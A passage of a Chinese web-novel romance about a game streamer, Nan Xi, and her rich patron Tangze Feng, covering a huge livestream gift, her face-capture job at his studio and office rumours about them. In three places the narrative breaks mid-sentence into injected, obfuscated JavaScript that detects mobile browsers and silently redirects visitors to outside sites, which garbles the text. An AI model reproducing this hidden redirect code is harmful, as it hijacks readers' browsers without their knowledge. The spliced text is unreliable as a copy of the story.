下一步便是跳到她的怀里，十多斤的小猫压了过来，让南汐喘不过气。 南汐将它举了起来，凑近它的脸，问：“他真的对我没感觉吗？” 淘气不明所以地叫了一声。 “你喜欢我吗？” 淘气又叫了一声。 南汐终于意识到自己的做法有多离谱，她不想再被杂乱的思绪捆绑，干脆进房间打开电脑玩游戏。 只有沉浸在游戏里时，她才能忘掉一切现实里的烦恼。 五点多，爸妈下班回来了。 祝晴敲了敲房门，问她在不在忙。 南汐暂停游戏，起身打开门，闻到了烤鸭的香味。 祝晴喊她来沙发上先吃，等南汐坐下后，她问：“宝宝，你今天出门了？” 南汐边点头边戴手套：“嗯。” 祝晴又问：“跟谁出去玩了？” 南汐想了想，说：“昨天跟姐姐去日料店吃饭，我的手串不小心落在店里，今天去拿回来。” 这事祝晴知道，昨天回来时就发现她的手串不见了。 祝晴再次询问：“是谁送你回来的呀？” 她问的不是“怎么回来的”，而是“谁送你回来的”。 这话的指向性已经很强了，南汐的手僵在半空。 今天中午午休时，祝晴收到了邻居做饭阿姨发来的消息，说看到她女儿从一辆宾利上下来，开车的还是个成年男人。 他们家是小康家庭，小区里住的大多数是普通人，百万左右的车都很少见，更别提动辄四五百万的豪车。 祝晴的第一反应是，现在不少富二代偶尔也开滴滴体验生活，会不会是打滴滴打到豪车了？ 但阿姨又说她女儿还跟男人聊了几句，又朝他挥手，关系看着挺熟络的，不像是陌生人。 从小到大女儿一直很乖很懂事，除了上学唯一的爱好就是打游戏，恋爱她似乎都不感兴趣。 祝晴知道南汐这两年直播做得很不错，她不会管钱，每个月把钱取出来后都交给了祝晴。 因为金额不低，祝晴和丈夫也曾经担心过产生其他问题，好在南汐直播间的老板们都只刷钱不谈别的，比他们想象中绿色健康得多。 今天得知这个消息，祝晴还是不免担忧，南汐在感情上太单纯，几乎是一张白纸，她性格又乖巧好说话，要是遇见坏人，恐怕要吃亏。 两夫妻商量了一下，最后还是决定好好问清楚是怎么回事。 南汐向来有事不瞒着爸妈，听到祝晴这么问，心里清楚他们肯定是知道了什么。 她只好交代：“是直播间给我花钱的观众。” 她将这些天发生的事简单和祝晴说了一遍，和不久前说给温琬听的版本差不多。 听到结局是拜托她做演员，祝晴这才放下心来。 “原来是大老板。”祝晴笑着说，“怪不得那么有钱，开那么贵的车。” 南汐不懂汽车品牌，只知道唐泽枫开的那辆汽车造型很酷。 打消了祝晴的疑虑，南汐心里还纠结着事，干脆也问问她的意见：“妈妈，你觉得他对我有别的想法吗？” 祝晴挺意外她会这么问：“听你描述的，他为人很有教养很有礼貌，应该没有那方面的意思。” 南沉云也附和：“他倒是挺会做生意，这要是放在娱乐圈市场，一万块可请不到我女儿这么漂亮的演员。” 祝晴点点头表示赞同：“那是，一万块算低的了，明星一天赚多少钱。” 他们完全没有听出南汐这句话的深层含义，只以为女儿担心唐泽枫图谋不轨。 南汐越听越灰心，又不敢把真实想法说给他们听，只能自己背地里默默消化。 难道真的是她接触男生太少的缘故？ * 六点钟开播，南汐并没有直接开始游戏，见唐泽枫不在线，她说：“朋友们，我忽然特别好奇一件事。” 等了几秒，看到直播间人数破千了，她才接着说，“如果有人暗恋你，你会感觉得到吗？” 【哥们母单二十年了，不知道恋爱是什么滋味】 【感觉女生暗恋比较隐晦，男生都不叫暗恋，叫公孔雀开屏】 【现身说法，暗恋我哥们女友好久了，他们完全没发现】 【有你这个兄弟是他的福气[赞]】 【暗恋很明显的，感觉不到说明不在意你】 【最近直播间情感话题浓度直线上升】 【月宝居然还用得着暗恋？】 【有没有可能是别人暗恋主播？】 南汐念出这条弹幕，回答：“暗恋不知道，不过有人给我送过情书，还有直接表白的，我都没答应。” 【月宝能不能教教怎么拒绝男的！正在被困扰呜呜呜】 这是南汐最拿手的，她说：“情书交给老师就好了，如果是当面表白，我就随便找个不喜欢他的理由拒绝。” 正好骗一波弹幕，南汐笑：“你们谁给我表个白，我现场教学。” 弹幕瞬间多了起来，付费留言也顶上来好几条。 笨蛋煎蛋发送了[30元付费留言]：【主播，我上学爱上老师，看病爱上医生，上班爱上领导，看直播爱上主播，我还有救吗】 南汐倒吸口气，锐评：“没救了，你死后也会爱上入殓师，抬走吧。” 半眠日记发送了[30元付费留言]：【月宝，我188，有八块腹肌，帅得出众，可以追你吗】 南汐：“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309291|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好意思啊，我不喜欢吃鸭肫，鸭胸肉、鸭翅、鸭腿也不爱吃，你还有别的地方有肌肉吗？” 树上岛发送了[30元付费留言]：【陪伴主播七百多天了，天天都在直播间看你，我能有特殊待遇吗[期待]】 南汐想了想，问：“直播间六千多个人，只有你在黑名单，这够不够特殊？” 被没收的冬眠发送了[30元付费留言]：【一个人住在比弗利山庄真的好寂寞，明天就乘私人飞机回东三环北京庄园的别墅了，主播可以跟你见一面吗？】 见他们越发越离谱，南汐也没客气：“疑似加完班骑共享单车回家吃拼好饭中毒点开拼多多喊朋友砍一刀最后一刀砍在脑子上了。” 【主播怎么攻击性一下子拉满了】 【她好坏，我好爱】 【兄弟们真有点受虐倾向的，付费挨骂来了】 【月宝别骂了！别让他们爽到！】 【怎么办，就连她骂人都觉得好可爱】 南汐正在兴头上，完全没看弹幕，直接读到了下一条。 元气用户28389发送了[30元付费留言]：【喜欢给主播送礼物的有机会吗】 同档位价格的付费留言颜色统一，南汐根本没注意到ID，直到念完内容，嘴比脑子还要快：“主播不要很多很多的爱，只要……” 话说到一半，视线转移到前面的名字上，南汐瞬间噤若寒蝉。 聊得太嗨，根本没注意到他来了！ 【怎么不骂了×519】 【麦克风突然没电了[嘻嘻]】 【主播心跳又失控了，快进到手表坏了】 【我替月宝说完，只要很多很多的钱！】 【主播在害羞中，勿扰】 【元神这算表白成功了吗？】 【有机会！这个可以有！】 【看到了吗，爱和不爱就这么明显，别再骗自己了】 【我不想嗑的，但你们把饭喂嘴里是什么意思啊！】 南汐扶着脑袋，看着快速刷屏的弹幕，试图做几个深呼吸平复心情。 大概是在他面前出意外的次数太多，南汐都快要习惯这种心跳飙升、肾上腺素疯狂分泌的感觉。 把手表摘下来反而欲盖弥彰，南汐已经认命，放弃掩饰了。 尤其是在得知唐泽枫似乎只是把她当小孩看后，面对他坦荡的行为，南汐逼自己不能乱想，只是节目效果而已。 观众们和她自己不也是在开玩笑吗。 害羞是露怯的行为！ 她没说话的期间，弹幕的风向已经乱作一团，意识到再不开口就成直播事故了，南汐不得不出声。 只是解释起来多少有些苍白，声音很虚：“哥，我只是在给大家演示一下怎么拒绝别人，不是真的。” 回应她的是弹出来的全屏幕特效。 元气用户28389赠送了[超·梦幻婚礼×10] 这下南汐彻底宕机了。 这是元气TV最贵的礼物，八千块一个，直播到现在这么久，南汐从来没有收到过。 而唐泽枫送了整整十个。 几秒后。 元气用户28389发送了[1000元付费留言]：【很多很多的钱可以是真的】 19. 坏心眼 最豪气的礼物有着最大的牌面，会在所有主播的直播间连续滚动播放通知。 Tsuki直播间里忽然涌进来一大批人，在线观众很快破了两万。 而主播还在蒙圈中，迟迟没有做出反应。 【元老粉梦回月宝刚直播那时候的红包盛况】 【我卡了吗？怎么没声音？】 【太有实力了，把月宝吓傻了】 【主播快醒醒啊！再不谢礼物爹就走了！】 【有没有人能懂我，两年来大哥第一次送告白礼物啊！这你们都不嗑？】 南汐从飞快飘屏的弹幕中精准地捕捉到了这一条。 直播系统里有很多名字亲密的礼物，类似“告白玫瑰”“真爱丘比特”“心动恋人”等，价格有高有低，几块钱到几千块不等。 这也是观众们经常送的类型。 然而唐泽枫从来没有送过这样的礼物。 在粉丝团定制礼物“月亮花灯”出现之前，他送的一直是“白色风车”，每月回馈超会团的手作礼物、惊喜录音、手写信等，他也从来不要。 仿佛对主播没有任何感情，只是单纯想找个地方花钱而已。 在这之前，南汐一直觉得这种电子取款机省去了很多的麻烦。 什么都不用做，只要坐在椅子上安心收米就好了。 唐泽枫的实力她是知道的。 开播前她还特意搜了一下今天坐的那辆汽车，价格后面跟着的零把她吓坏了。 怪不得今天爸妈会特意问她这事。 有钱人的爱好的确与众不同，南汐也可以理解。 或许唐泽枫是真的只把她当赛博小宠物，放养式的。 类似于南汐在网上领养的北极熊，隔段时间就上去看一眼生活得怎么样。 但看到“梦幻婚礼”四个字时，南汐的心又动摇了。 弹出来的是城堡婚礼动画，甚至还有新郎新娘亲吻的镜头，拜他所赐，南汐整整看了十遍。 直到手机响了一声，微信来消息了。 南汐心一跳，低头看过去，不是唐泽枫。 温琬：【宝宝！你在干嘛，掉线了吗？赶紧谢礼物啊！】 南汐匆忙扫了眼，见唐泽枫还在线，连忙出声感谢他。 对方好像在等她，感谢完才离开。 唐泽枫走了，南汐才终于回魂。 她还记得自己开播时想要问什么，被他一打搅，已经没办法继续了。 同时她也意识到，在直播间聊些有的没的并没有意义，唐泽枫一来她就自乱阵脚、心乱如麻。 连他很正常的一句话都会被自己曲解成自己想听到的意思。 南汐心里默默地叹了口气，打开游戏继续上班。 * 接下来的几天，南汐重新恢复到了以往工作狂的状态，开直播就直接上游戏，不再过多闲聊。 周四晚上，南汐正在玩一个探案解密游戏，打到一半不好中途退出，结束时已经是十二点半。 下播关电脑，手机正好响了，是唐泽枫发来的。 从上次见面过后，唐泽枫不再给她的工作号发消息，而是转向私人号。 这意味着他们已经从网友进阶成了朋友。 唐泽枫：【明天可以过来做面捕】 明天就又要见到他了！ 南汐说不清自己内心是什么情绪，连忙回复他：【好的，老板】 刚发出去，南汐连忙又补充一句：【几点钟上班？】 唐泽枫：【九点，你到了跟我说】 南汐回了一个收到的表情包。 同上次一样，南汐的焦虑情绪又出现了，明天才见他，今晚就已经开始兴奋到睡不着。 好在明天是过去工作，不用单独和他待在一起。 她还没有炼成厚脸皮，担心一见到他又会表现得像个涉世未深的小女孩一样。 明明平时的自己不是这样的。 南汐做了几个深呼吸，给自己强烈的心理暗示，老板，老板，老板！ 翌日早，南汐被闹钟吵醒，由于没睡几个小时，手机响了好几次才把她叫起来。 已经八点了，南汐没时间搭配衣服做造型，随手抓了一套休闲装就穿上，早餐也是带在路上吃的。 唐泽枫七点钟就给她发了“早安”，南汐刚回复，对方就秒回了。 【醒了吗】 南汐看了眼时间：【我在路上了！这个点刚醒的话就迟到了！】 唐泽枫倒是很大度：【迟到也没关系】 南汐打字很用力：【上班第一天就迟到会很丢脸的T-T】 她可不想没牌硬耍。 唐泽枫：【你不算员工】 南汐奇怪：【那我是什么？】 唐泽枫：【客人】 这话说得南汐今天只是去他们公司视察一样。 虽然南汐知道他是想让她不要有太大压力，但她很想要把这件事做好，不想让他后悔选择自己帮忙。 更何况他给出那么高的工资，南汐怎么能不认真对待。 下地铁后，南汐对大楼的位置已经很熟悉了，她走到办公楼下，看了眼时间，紧赶慢赶，现在才八点五十分。 她犹豫了一秒，没有立刻给唐泽枫发消息，而是回应了保安的笑容。 “前几天都没看见你，我还以为你面试没通过呢。”大叔笑着说。 南汐倒也不否认，只说：“老板让我过来试岗几天。” “试岗啊，那你没有工牌吧？”保安问。 “暂时还没有。”南汐说，“我马上叫人来接我。” 南汐凑近他，说：“叔叔，我能不能问你个别的问题？” 保安以为她是想打听公司消息，让她尽管问：“知道的都告诉你。” 南汐做贼心虚地看了眼一楼，压低声音：“唐泽先生有没有结婚啊？他有小孩吗？” “啊？”保安稍加思索，“那几个老板里，倒是见一两个带老婆来过，唐泽先生嘛，没见过。” 保安知道的也不是很准确，判断不出来。 “不好意思啊，我也不知道。”保安话锋一转，“不过你可以问问同事啊，老板的八卦就他们里面的人最清楚了。” 南汐有了思路，点点头：“我知道了，谢谢叔叔。” 她这才给唐泽枫发消息。 几分钟后，唐泽枫出现在门口，南汐跟保安挥挥手再见，小跑着来到他身边。 出电梯时就看见南汐和门口保安在聊天，他随意地问：“在聊什么？” “没什么。”南汐心虚，不敢透露。 下一秒，唐泽枫的手出现在了跟前，他将手里的工牌递了过来。 “这个给你，以后可以随意出入。” 周一过来时，这块工牌被唐泽枫拿在手里，南汐一直没看清上面的字。 直到现在，摊开在他的手心里，南汐才终于看到了正面。 是一张白底证件照，照片里的唐泽枫不及如今气质成熟，似乎是多年前拍摄的。 照片下方写着他的信息。 [唐泽枫] [联合创始人] [NO.0001] 南汐目光怔怔地看向他，不敢相信：“给我吗？” 唐泽枫笑着重复：“给你。” “那你怎么办？”南汐呆呆地问。 唐泽枫：“只拦员工不拦老板。” 南汐心道也是，自己问的都是什么多余的问题！ 她连忙接过来，可是没带包，身上也没有口袋，她只能挂在脖子上。 怕别人看到误会，还特地把有头像的那一面朝里贴着衣服。 掌心是她指尖划过的微痒，唐泽枫看见她转动工牌的小动作，不禁好笑。 本意只是想让她方便点，没想到她挂上了，这简直是向所有人宣告她是他的人。 不过唐泽枫坏心眼地并未出声提醒。 南汐跟在他身后进电梯，听见他说：“我先送你过去，等会就不能陪你了。” 南汐自然知道他有别的事要忙，点头：“我知道，我会好好干的，你放心吧。” 唐泽枫将南汐带到了5楼，动捕室的隔壁还有个更小的房间，南汐见到了小杨和导演好几个人。 唐泽枫介绍了南汐，简单交代了几句后便离开。 建模师是个卷发头的男人，笑着介绍自己：“不是天生的，烫的，主要是显发量多，你也知道做建模的没几个不秃的。” 摄影师则看起来比较年轻，和小杨差不多大年纪。 导演在前几天已经见过面，神情很严肃，说起话来倒是挺和气。 南汐微微鞠了躬，没注意到被她弄好的工牌早就转了好几圈。 “我们今天先把面捕模型做好。”建模师朝她说，“会在你脸上贴一些标记点，弄完了可以撕下来的，不碍事。” 南汐都配合：“好。” 这项工作比南汐想象中的时间还要长，贴反光标记点、静动态校准和数据映射就弄了一早上。 南汐头一回面对这么多各个角度的摄像头，刚开始还有些拘谨，时间长了也习惯了。 接近十二点，大家都停下手中的工作准备吃午饭。 小杨帮南汐撕下标记贴，惊叹：“哇，你皮肤真的好白，撕下来这块地方都会变红。” 南汐看着杵在面前的小杨，心思却在神游。 她好像发现了不得了的事情。 不止现在，包括刚刚帮她整理头发，小杨都靠得很近，南汐却完全没有出现面对唐泽枫时的心慌紧张。 甚至刚刚撕标记点时小杨的手不小心碰到了她的脸，南汐心里都毫无波澜。 南汐逐渐明白过来，也许根本就和是否跟异性接触多少没有任何关系。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15314787|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单纯只是对唐泽枫动心而已。 别的人都没有这个效果。 南汐还没忘了自己今天的隐藏任务，趁小杨还没走开，她说：“我能问你个比较私人的问题吗？” 闻言，小杨点头：“可以啊，什么问题？” 南汐凑近了点，小声说：“唐泽先生结婚了吗？” 小杨惊讶两秒，随后问：“你都不知道？” 南汐反问：“我知道怎么会问你？” 小杨挠了挠头：“我进公司没多久，不是很清楚，好像是没有吧。” 南汐已经在脑中寻找下一个受访人。 小杨又补充：“我帮你问问他们。” 南汐还没意识到他口中的“他们”是谁，小杨已经走到了建模师和摄影师身边，将南汐的问题重复了一遍。 南汐阻止也来不及，干脆也跟了过来。 “没听说结婚啊。”摄影师朝建模师说，“你是老员工，你肯定知道。” “我又没那么闲，天天打听老板八卦。”建模师思考，“应该没有，不过是不是单身不好说，主要是我们跟大老板接触太少了，一整天可能都见不到一面。” 小杨点点头附和：“是啊，咱们这很忙的，我觉得你可以问问吴助。” 南汐问：“吴助是谁？” “唐泽先生的助理。”摄影师帮腔，“他天天跟在老板身边，肯定比我们清楚。” 南汐点了点头，在心里更新了任务目标。 好巧不巧，唐泽枫正好给她发来消息。 【在开会，暂时走不开，我叫助理带你去吃午饭】 南汐当即回复：【好，谢谢老板！】 她跟小杨几人拜别，刚出来就在电梯口撞见一个穿正装的男人，看到她立马走过来打招呼。 “你好，南小姐，我是唐泽先生的助理。” 南汐走上前：“你好，很高兴认识你。” 吴助笑了笑，说：“我先带你去食堂，口味上有什么喜好吗？” 南汐摇摇头：“我不挑食，都可以吃。” 跟着他进电梯，南汐心里在打鼓，毕竟是第一次见面，直接问也太突兀了，总得有个循序渐进的过程。 她看着下降的楼层数，挑了个适合开场的话题：“哥，你来公司多久了？” “叫我小吴就好。”吴助回答，“快七年了。” 南汐接着问：“那你是不是很了解唐泽先生？” “工作上的确比较了解。”吴助似乎看出了她的心思，问，“是有什么疑惑吗？” 见他直接问出来，省去了她铺垫的过程，南汐连忙点头。 “其实不是工作上的问题啦。”南汐小声问，“我是想问，唐泽先生结婚了吗？” 吴助露出意外的神情，随后笑了：“据我所知是没有的。” 南汐顿时松了口气，本来还想再进一步，但电梯已经抵达一楼开了门，她收回了心思。 无论如何，她已经得到了答案，唐泽枫确实是单身。 但有没有谈过恋爱，这个还有待商榷。 公司的食堂离得很近，此时人不多，南汐轻轻拍了拍吴助的肩膀，问他：“唐泽先生喜欢吃什么？我帮他拿回办公室。” 吴助微微惊讶，几个老板平时都是一起过来跟员工坐在一块用餐，办公室里也没有专门吃饭的桌子。 但他并不打算告诉她，说了几样菜名：“一个人不好拿，我帮你拿吧。” “啊，谢谢！” 南汐用餐盒装好午饭，吴助原本还想送她上去，但她不好意思占用他午餐时间，一个人提着餐盒回了办公楼。 * 电梯里，收到消息的唐泽枫抬手按下了最近的楼层。 北岛奇怪：“怎么了？” “我不下去了。”唐泽枫笑了一声，“有人在办公室等我。” 不用解释，大家谁都明白了“有人”是谁。 几人发出调侃的声音。 “起码吃个午饭？”一人说，“叫小姑娘一起啊。” 唐泽枫笑意加深：“已经准备好了。” “快走！” * 15层的员工都下楼吃饭了，整层楼都显得空旷安静。 南汐推开了办公室的门，里面只有一张小茶几可以用餐，她将餐盒摆好，坐在沙发上准备给唐泽枫发消息。 只是文字才刚刚编辑好，还没等她发出去，门就被人推开了。 她猛地抬头，撞进唐泽枫似笑非笑的眼睛里。 南汐一下看愣了，忘记了打招呼。 她听到他开口：“刚刚有人向我打小报告。” 唐泽枫慢慢走近，蹲在了她面前，故作疑惑，“好像有个小女孩在办公楼里到处打听我的婚姻状况？” 南汐呼吸一窒，猛地握拳，快要把手里的手机捏碎了。 唐泽枫失笑：“是你吗？” 20. 关系 南汐觉得“到处”这个词用得不是很准确。 也就是在一楼保安、五楼面捕室和电梯里问了三次而已。 怎么这么快就传到本人耳朵里去了？ 难道公司里到处都是唐泽枫的眼线吗？！ 这可比直播被抓包尴尬多了！ 她见唐泽枫纡尊降贵地蹲在自己面前，倏地站了起来，什么都不管，先低头道歉：“对不起！” 唐泽枫跟着站起身，南汐垂着头，双手不停地捏着手机壳上的粉黄小兔子，根本不敢抬头看他，老实交代：“我不是故意打探你的隐私的，我就是……” “不用紧张。” 今天她没有弄头发，散下来的长发遮住了耳朵，但仍能从微颤的长睫毛和浅粉色的脸颊看出她的情绪波动。 唐泽枫笑着说，“没有不许你问，只是你可以直接来问我。” 没想到他会这么说，南汐讶然抬头，不敢相信：“你不怪我吗？” “不怪你。” 南汐心里默默地松了口气，暗道做老板的果然格局大，连这不跟她计较。 虽然唐泽枫说可以直接问他，南汐却不知道怎么开口。 可她又不想错过这么好的机会，满脑子都是死嘴快说啊！ 这下左脑攻击右脑，小脑控制大脑，满脑子一团乱麻。 就在她万分纠结时，唐泽枫似乎看出她的窘境，主动开口：“30岁，未婚单身，中日混血。” 花了两秒意识到他在自我介绍，南汐仰头看着他，表情称得上呆滞。 “‘神乐川’是我姐的店，那天是临时被喊过去帮忙一天才遇见你，本职工作是‘无界’联合创始人，负责复杂场景、角色建模。” 唐泽枫继续说，“平时爱好不是很多，唯一一个坚持得比较久的，是给你花钱。” 唐泽枫一口气的介绍把南汐彻底搞懵了。 意识到他在满足自己的好奇心和求知欲，南汐瞬间打起了十万分精神。 认真回复：“我马上过20岁生日了，在仙海大学读书，爱好只有打游戏，哦对了，我也是单身！” 等她急急忙忙说完，南汐才忽然意识到不对劲。 这段对话听起来怎么这么像相亲现场？ 把各自的个人信息说出口，然后再从爱好这个切入点出发聊到共同兴趣，以此拉近彼此距离？ 况且，自己这么急于回应，会不会被他看出目的不单纯？ 见唐泽枫仍然在笑，南汐有些懊恼，连忙找补了一句，“信息交换。” 殊不知却显得欲盖弥彰。 “我知道。”唐泽枫说，“我记得聊天时告诉过你我从未恋爱。” 他的声音里满是笑意，“是不相信我吗？” 南汐当然知道他们曾经聊过，她急于解释：“我没有，我只是觉得，哥你有钱又帅，应该很受欢迎。” 越解释到后面声音越小，底气越不足。 这也不是她打听人家婚姻状况的理由。 南汐觉得不能再继续这个话题了，再聊下去只会更加暴露心思。 她刚要喊他吃饭，唐泽枫却回答了她的话：“没有遇见喜欢的人之前，工作会放在首位。” 对于这句话，南汐感同身受，猛猛点头。 以前的南汐把所有闲暇都用来打游戏直播，完全没有社交需求，甚至不喜欢交新朋友，觉得聊天都浪费时间。 但在对唐泽枫产生金钱之外的念头后，南汐开始后悔自己社交技能点攒的还不够多，一紧张就没办法在他面前正常交流。 唐泽枫又问：“还有什么想知道的吗？” 基本情况他都说了，南汐没有要问的，重新坐回沙发上用餐。 期间被问到工作情况，南汐表示自己适应得很好：“今天还挺简单的，做做表情就可以了。” “下周会难一点。”唐泽枫说，“周一我会过去陪你。” 南汐瞬间竖起耳朵：“不会耽误你工作吗？” 唐泽枫轻笑：“你现在就是我的工作。” 受宠若惊的同时，南汐却又提前感受到了压力。 自己是唐泽枫亲自请来帮忙的，万一在他面前没表现好，不仅她丢脸，还要让唐泽枫丢人。 南汐咬了咬牙，决定下午上班就好好请教一下导演。 用餐结束后，唐泽枫又提到了另一件事：“新衣服明天可以给你。” 现实里听到这句话，南汐花了好几秒钟才想起来是什么意思，惊喜：“做好了吗？” 唐泽枫点头：“差不多了。” 联想到唐泽枫刚刚介绍的工作内容，南汐有了个更大胆的猜想。 她轻声问：“是你做的吗？” 虚拟角色的2D模型难度并不高，对经验丰富的游戏建模师来说更是小菜一碟。 当时南汐告诉他自己画不了裙子，唐泽枫一句“交给我”让她安心下来。 唐泽枫回答：“画稿喊了个人帮忙，模型是我调的。” 他一句话说得简单。 唐泽枫并不是绘画出身，六个合伙人里，只有北岛诚司是游戏原画师，也就是在探月园见过南汐的朋友。 工作室里不缺原画师，但毕竟是给南汐用的，唐泽枫想要最好的效果，只能拜托最擅长平涂风格的北岛。 拿到样图和要求时，北岛还以为是新项目，指着样图里Tsuki的某个部位，笑着调侃了一句：“枫，这大小不符合市场需求。” “……”唐泽枫强调，“帮朋友的忙。” 北岛想问更多有关朋友的信息，唐泽枫却不给了。 他来中国这么多年，中文一直没长进，嘴里蹦出一个“金屋藏娇”，唐泽枫无奈又好笑。 嘴上调侃两句，出来的成品倒是毫不含糊。 唐泽枫便是按照他的画稿做的模型。 南汐喜形于色，惊喜地问：“我可以看看吗？” 唐泽枫笑：“在家里的电脑上。” 南汐“哦”了一声，弯着眼睛笑起来：“谢谢哥。” 南汐并没有办公位置，午休期间她也不好打扰别人，便听了唐泽枫的话，留在了他的办公室。 唐泽枫果然如想象中一样是个工作狂，中午也在加班工作，南汐偷偷地看了几眼，从她的方向看不到他的脸，只能看见他握住鼠标的手。 她还没忘记温琬昨天跟她说的话，要拍一张正脸照给她看。 南汐低头就看到脖子上戴着的工牌，心道这不就是机会？ 她将手机设置为静音，拍了张工牌的照片发给了温琬。 对方很快就回复了。 【我靠，这是大哥？？？】 【这么帅？？？】 【不是，这真的有三十岁？？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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幸好今天只见过几个人，态度都挺友好的，南汐想应该还来得及。 但她忘了中午唐泽枫说的话，低估了小道消息在公司里传播的速度。 午休时间结束，南汐心里着急，抛下一句“哥我先下去了”，唐泽枫还没抬头她拔腿就跑。 乘电梯来到5楼，刚进面捕室，房间里只有小杨刚到。 见到他，南汐正在组织语言，小杨已经率先开了口：“南汐，你从Boss办公室下来的？” 南汐一怔：“啊，嗯。” 小杨睁大了眼睛：“我还以为他们说着玩呢，居然是真的啊。” 南汐预感不妙，心提到了嗓子眼，连忙解释：“我跟唐泽先生不是情侣关系！” 至少目前还不是。 闻言，小杨却疑惑：“没说你俩是情侣关系啊。” 南汐傻眼：“啊？” “你上午不是问Boss有没有结婚吗，不知道被谁说出去了。” 小杨顿了顿，才接着说，“现在都在讨论你是Boss的私生女还是养女。” 南汐：“啊？？？” 21. 小女孩 南汐知道自己看起来显小，但也没有小到能当他女儿吧！ 这比情侣还要更加离谱荒唐！ 传八卦的人能不能有点道德素养！ “你认识Boss的侄子吗？”小杨告诉她，“你跟他看起来差不多年纪，大家都觉得你是高中生，加上你又问结婚没结婚……” “不认识。”南汐哑口无言，半天才找回自己的声音，“那也不至于误会成这样吧？” 想到什么，小杨又向她透露：“哦对了，听人事部HRBP说Boss叫你很亲密，估计是这样传开的。” 南汐回想了一下，唐泽枫不是一直喊她全名吗，哪里亲密了？ 她满眼茫然与困惑：“叫名字不是很正常吗？” 小杨竖起手指摇了摇：“不是名字，说是叫你小女孩。” “……” 南汐想起不久前在办公室听到的话。 “好像有个小女孩在办公楼里到处打听我的婚姻状况？” 南汐呆在原地，表情空白，耳根渐渐开始发烫。 唐泽枫总共也就当着她的面喊过这么一次，南汐一直觉得他把自己当小孩看，这个称呼更是充满了熟人间才会有的亲昵与不易察觉的宠溺感。 私密性这么强的昵称，唐泽枫怎么在其他人面前也这么叫啊！ 传到别人耳朵里只有字面意思，果然就被误会成了父女关系。 “还有。”小杨还在爆料，“有人说前几天看到你上了Boss的车。” 这确实是事实，南汐没办法反驳。 小杨见她没反应，像是默认了，惊讶：“真的啊？” “只是出去吃饭了。”南汐红着脸争辩，“第一次见面就说我们是朋友啦！” “对对对。”小杨不好意思地笑了笑，“我肯定是相信你的。” 他一个人相信没有用，南汐又跟其他人不熟，堵不住别人的嘴。 不过究其原因好像也不是因为她戴着他的工牌，而是唐泽枫自己乱喊喊出来的。 这么一想，南汐放松了不少，心道唐泽枫眼线那么多，很快就会传到他那边去，他应该会处理的。 好在她也并不用跟楼上办公室的员工打照面，完成下午的工作之后就是周末，给他两天半的时间肯定能解决好。 抱着这样的心态，南汐投入到了下午的工作中。 下午仍然还是面捕的细节调整，南汐也尝试着录了部分台词，录完之后看到导演若有所思，有些心虚：“导演，我的声音是不是很出戏？” 导演语气温和地说：“不会，主要是录口型，声音的话后期有配音演员重新配。” 南汐放下心来，从耳机里听到录音师笑着朝导演说了句话。 他的声音放得很低，可由于录音室太安静了，南汐听见了。 他说：“声音真跟小妹妹一样啊。” 听起来只是一句轻松的调侃，南汐想反驳他用词不恰当，但又怕把玩笑话当真会被认为太较真。 更何况他确实也没有恶意。 口型录制到一半已经是下班时间，南汐趁着导演还没走，和他讨论下周动作表演事宜，不过导演却让她不需要有太大压力。 “就当是过来玩儿。”导演笑着安抚她，“这个角色本身跟你性格、风格都很像，你越认真反而太刻意了。” 一旁的建模师也点头附和：“是啊，咱们不急，时间很充裕，就怕你心理负担大。” 听到这里，南汐已经意识到不对劲。 他们对她的态度实在是太友善太宽容，说不清到底是自己戴着工牌还是谣言引发的效应。 总之都是看在唐泽枫的面子上给自己特殊待遇。 想到温琬说的“带资进组”，南汐不知道事情怎么就变成这样了，她本意是想来好好学习认真工作的。 放在一旁桌子上的手机响了一声。 刚刚录音时，为了保证没有噪音，南汐将手机放在了录音室外的桌子上。 见手机响了，离得最近的录音师帮她拿了起来，好心将手机递给她。 南汐接过来，看到是唐泽枫发来的消息：【我在一楼等你】 她抬头看了眼录音师，确信刚刚他看到了，但他并没有露出任何意外或是好奇的表情。 比她还要更平静。 平静得有些诡异。 南汐跟大家告别，转身去乘电梯，下到一楼果然看到唐泽枫站在门口等她。 一楼都是下班的员工，出去时礼貌地和他打招呼。 南汐小跑上前，站定在面前才把工牌从手机壳里拿出来。 唐泽枫看着她的动作，说：“我送你回去。” 南汐下意识就要拒绝，可又想到那事得跟他单独谈谈，最后屈服了：“好，谢谢哥。” 南汐跟在他身后出了大楼，上了他的车。 这次不是“有人看到”，是很多人都看到了。 南汐见唐泽枫神色如常，像是完全没有注意到员工们投来的好奇目光。 她系好安全带，心理准备做了很久，直到车子发动上路才开口：“哥，有件事我要跟你商量一下。” 唐泽枫偏头看她，浅笑：“什么事？” 南汐鼓起勇气，把纠结了一下午的事情总结成一句话：“你不可以那么叫我了。” 唐泽枫没懂 